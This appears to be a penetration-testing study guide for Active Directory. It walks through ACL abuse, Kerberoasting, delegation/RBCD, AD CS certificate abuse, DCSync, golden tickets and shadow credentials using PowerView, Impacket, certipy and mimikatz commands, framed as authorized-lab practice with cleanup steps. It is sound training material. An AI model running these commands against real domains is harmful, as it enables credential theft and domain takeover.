9.6.4 Object Control, AD CS and Domain Compromise
← Stage index | Domain mapping | AD cheatsheet | Strategy map | Study methods: Map Active Directory attack paths; Gain a more useful domain identity
Active Block 11 core: user, group, SPN and DACL-backed identity transitions, plus the rights required for DCSync.
Conditional supplements: GPO abuse, delegation/RBCD and AD CS remain evidence-led branches rather than core Block 11 study.
9.6.4.1 Turn a verified directory right into a useful identity change Directory-object control
Model: controlled principal → effective ACE → target object/type → permitted modification → authentication/authorization effect → cleanup.
Enumerate a target's ACL with resolved GUIDs:
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }
Resolve trustees:
ConvertFrom-SID 'S-1-5-21-...'
Get-DomainObject -Identity 'S-1-5-21-...' | Select-Object samaccountname,objectclass
Common effects require different rights:
| Right/object | Possible controlled effect | Validation needed |
|---|---|---|
GenericAll/password-reset extended right on user | Reset the user's password | Effective trustee, account state, protected-object behavior |
GenericAll or effective member-attribute write on group | Add a controlled principal to the group | Target group, nesting and a refreshed logon token |
GenericWrite/SPN-property write on user | Add a temporary SPN, request a TGS and remove it | Exact property right, duplicate-SPN checks and cleanup |
WriteDacl | Grant a narrower right | Ability to write DACL and restore original ACL |
WriteOwner | Change owner, then possibly DACL | Owner semantics and cleanup |
| Computer-object write | RBCD-related attribute change | Machine account/control, SPN/Kerberos and target service |
9.6.4.1.1 Reset a target password through a verified directory right Password reset
A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain
Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.
9.6.4.1.2 Add your identity through verified group-membership rights Group membership
9.6.4.1.2.1 Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }
9.6.4.1.2.2 Built-in alternative
# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain
A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain
9.6.4.1.3 Check whether SPN-write rights enable targeted ticket recovery Targeted Kerberoast through SPN write
If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER
9.6.4.1.4 Convert ownership or DACL control into a useful narrower right Owner and DACL transitions
WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.
9.6.4.1.4.1 Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
9.6.4.1.4.2 Group-membership variant
# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose
9.6.4.1.4.3 Remove the ACE after the authorized objective
# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.
9.6.4.2 Trace writable policy to a privileged consumer and trigger Conditional: GPO control
Identify GPOs and links:
Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }
For a candidate, prove:
- the controlled principal can edit both the directory object and relevant SYSVOL policy files;
- the GPO is linked to the OU containing the intended test host/user;
- security filtering and WMI filters include that subject;
- the configured preference/task/script runs in the expected context; and
- policy refresh or another predictable trigger will occur.
SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:
SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force
Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.
9.6.4.3 Check whether delegation rights enable access as another identity Conditional: delegation paths
Enumerate before attempting any ticket operation:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP
Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.
9.6.4.3.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation
Prerequisite: effective write control over the target computer's
msDS-AllowedToActOnBehalfOfOtherIdentityplus control of a principal with an SPN (often a lab computer account).
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'
Cleanup after the lab objective:
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-delete -dc-ip DC_IP
Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.
9.6.4.4 Check whether certificate enrollment can enable another identity Conditional: AD CS enumeration
Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.
Package names vary:
command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-enabled -vulnerable -stdout
Review:
- CA name and host;
- template name and whether it is enabled/published;
- who can enroll;
- client-authentication EKUs/purpose;
- subject/SAN supply controls;
- manager approval/signature requirements;
- template owner and modification rights;
- web enrollment/relay-related configuration where relevant.
An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.
9.6.4.5 Request and use a certificate through a validated enrollment path Conditional: certificate request and authentication
Generic request after validating a specific template:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE
An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE \
-upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP
Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.
9.6.4.6 Check whether template-write rights enable a usable certificate path Conditional: ESC4/template-write boundary
Before any authorized template change, save configuration:
certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-template TEMPLATE -save-configuration template-backup.json
Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.
9.6.4.7 Retrieve domain credential material through verified replication rights DCSync replication rights
Prerequisite: effective domain-root rights equivalent to
Replicating Directory ChangesplusReplicating Directory Changes All(and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.
Validate ACLs at the domain root:
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }
A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:
9.6.4.7.1 Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
9.6.4.7.2 Remove the delegated replication ACE after the authorized objective
# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.
Request one approved test account rather than dumping the directory:
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
'DOMAIN/USER:PASSWORD@DC_HOST'
Mimikatz equivalent from an authorized Windows context:
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER
Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.
9.6.4.8 Understand the access enabled by compromised domain ticket keys Conditional: high-impact ticket-forging concepts
Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.
Authorized isolated-lab examples:
# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.
9.6.4.9 bloodyAD — Linux-side LDAP reads and permission-backed writes
Directory connectivity and a supported authenticated query context; check base, filter and paging.
Use an authenticated LDAP context and the exact right on the target object. Start with a read. These writes are distinct alternatives selected by the observed ACL:
9.6.4.9.1 Inspect the target/group instead of assuming the relationship
# Inspect the target/group instead of assuming the relationship
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object TARGET_OBJECT --attr distinguishedName,member,memberOf
9.6.4.9.2 Force-change-password right on this specific account
# Force-change-password right on this specific account
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
set password TARGET_USER 'NEW_PASSWORD'
9.6.4.9.3 Write-members right on this specific group
# Write-members right on this specific group
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
add groupMember TARGET_GROUP USER
Read: verify the actual attribute change and test the resulting identity/capability through a compatible service. Group changes do not automatically refresh an existing process token/ticket. Access denied → inspect the object DACL and protected-account context; authentication alone is insufficient. Account Operators membership does not imply control over protected administrator accounts/groups.
Sources: upstream 1.
9.6.4.10 Read managed credentials only where your identity has delegated access Delegated reads — LAPS and gMSA material
Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.
9.6.4.10.1 Classic LAPS: password for the relevant computer's local administrator
# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr ms-Mcs-AdmPwd
9.6.4.10.2 Windows LAPS: returned content/format depends on schema and protection
# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr msLAPS-Password
9.6.4.10.3 gMSA: inspect the allowed managed-password attribute
# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'GMSA$' --attr msDS-ManagedPassword
Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.
Sources: upstream 1 · upstream 2.
9.6.4.11 Shadow credentials — object-key write, PKINIT, then cleanup
Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.
9.6.4.11.1 python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action list
9.6.4.11.2 Adds a new key credential and generates certificate material; record its DeviceID
# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action add --filename target-key
9.6.4.11.3 Use the generated PFX password; request the target principal's TGT
# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
-dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist
9.6.4.11.4 Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER
9.6.4.11.5 Remove only the key credential you added; never clear unrelated original values
# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action remove --device-id DEVICE_ID
Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.
Sources: upstream 1 · upstream 2.
9.6.4.12 PassTheCert — Schannel/LDAP when the certificate is usable there
Directory connectivity and a supported authenticated query context; check base, filter and paging.
Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.
9.6.4.12.1 Extract PEM material from the relevant PFX; respond to password prompts
# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key
9.6.4.12.2 First identify the principal accepted through the certificate
# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
9.6.4.12.3 Inspect operations in the LDAP shell before choosing an authorized write
# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.
Sources: upstream 1.
9.6.4.13 Powermad — create an account only when the chosen AD path needs it
Use from a suitable authenticated PowerShell context when the actual quota/delegation permits computer creation and the planned path needs an account/SPN you control. Account creation alone does not grant RBCD rights on another host.
Import-Module .\Powermad.ps1
$machinePassword = ConvertTo-SecureString 'MACHINE_PASSWORD' -AsPlainText -Force
New-MachineAccount -MachineAccount NEWPC -Password $machinePassword `
-Domain DOMAIN -DomainController DC_HOST
Read: verify the created account, its SPNs and the chosen target-object permission separately. Quota, OU ACLs and existing names can stop the operation. Standard create rights do not necessarily permit deleting the created account later; establish the cleanup route and avoid repeated throwaway account creation.
Sources: upstream 1.
9.6.4.14 gMSA — obtain a decoded hash only with managed-password read rights
Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.
9.6.4.14.1 nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa
nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa
9.6.4.14.2 After identifying the returned service account and hash, test one relevant service
# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares
Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.
Sources: upstream 1.
9.6.4.15 Sources
- Supplied PEN-200, Chapter 23, especially the targeted Kerberoast, silver-ticket and DCSync sections.
- OffSec OSCP+ Body of Knowledge
- PowerSploit PowerView (archived)
- getSH Active Directory: Object Permissions, AD CS, GPO Abuse and Domain Compromise, source snapshot
e1f62dd - Investigate certificate enrollment and authentication conditions
- Impacket secretsdump
- SpecterOps AD CS research
- Hexdump Active Directory modules